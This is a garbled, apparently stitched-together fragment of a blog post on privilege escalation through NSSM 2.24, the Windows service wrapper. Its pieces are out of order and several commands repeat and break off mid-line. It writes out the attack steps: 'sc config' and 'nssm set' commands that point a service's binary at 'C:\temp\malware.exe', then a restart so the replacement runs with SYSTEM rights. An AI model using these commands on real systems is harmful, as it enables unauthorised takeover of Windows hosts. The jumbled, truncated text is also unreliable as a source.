sc config <service_name> binPath= "C:\temp\malware.exe" Or, if using NSSM directly:
Introduction NSSM (Non-Sucking Service Manager) has long been a staple for system administrators and developers on the Windows platform. Versions like 2.24 , released in the mid-2010s, are celebrated for their ability to turn any executable into a Windows service quickly. However, beneath its utilitarian veneer lies a dangerous attack vector: privilege escalation . nssm-2.24 privilege escalation
Stay secure. Never trust legacy wrappers with SYSTEM privileges. sc config <service_name> binPath= "C:\temp\malware
nssm set <service_name> Application "C:\temp\malware.exe" The attacker stops and restarts the service (if they have SERVICE_START and SERVICE_STOP rights) or waits for a system reboot: sc config <